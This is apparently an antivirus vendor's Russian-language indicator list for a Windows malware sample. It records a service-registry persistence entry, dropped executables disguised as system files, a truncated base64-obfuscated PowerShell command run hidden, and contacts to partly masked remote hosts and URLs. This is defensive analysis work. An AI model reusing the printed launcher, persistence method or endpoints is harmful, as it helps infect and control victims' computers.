Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-core-synch-l1-2-0] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-core-synch-l1-2-0] 'ImagePath' = '"%WINDIR%\SysWOW64\avicap32\api-ms-win-core-synch-l1-2-0.exe"'
- 'api-ms-win-core-synch-l1-2-0' "%WINDIR%\SysWOW64\avicap32\api-ms-win-core-synch-l1-2-0.exe"
- 'api-ms-win-core-synch-l1-2-0' %WINDIR%\SysWOW64\avicap32\api-ms-win-core-synch-l1-2-0.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGcAbQB5ADMAeAByAD0AKAAoACcASgAnACsAJwB1AHEAawAnACkAKwAoACcANwBoACcAKwAnAG8AJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAUA...
- %HOMEPATH%\a862h1n\ynpnwkv\jl99ti.exe
- %WINDIR%\syswow64\avicap32\api-ms-win-core-synch-l1-2-0.exe
- %HOMEPATH%\a862h1n\ynpnwkv\jl99ti.exe в %WINDIR%\syswow64\avicap32\api-ms-win-core-synch-l1-2-0.exe
- '12.##3.208.58':80
- http://ma###sdc.com/MR/
- http://12.##3.208.58/psFR6Gg/IEE2pVj/j9oY7FEMXKGErV8mhfQ/oQTpKUAxzyIsX/vVTTCzUuRda5GF9h/x9wfEXTH0nOlE6Ts/
- DNS ASK ma###sdc.com
- '%HOMEPATH%\a862h1n\ynpnwkv\jl99ti.exe'
- '%WINDIR%\syswow64\avicap32\api-ms-win-core-synch-l1-2-0.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABHAGcAbQB5ADMAeAByAD0AKAAoACcASgAnACsAJwB1AHEAawAnACkAKwAoACcANwBoACcAKwAnAG8AJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAUA...' (со скрытым окном)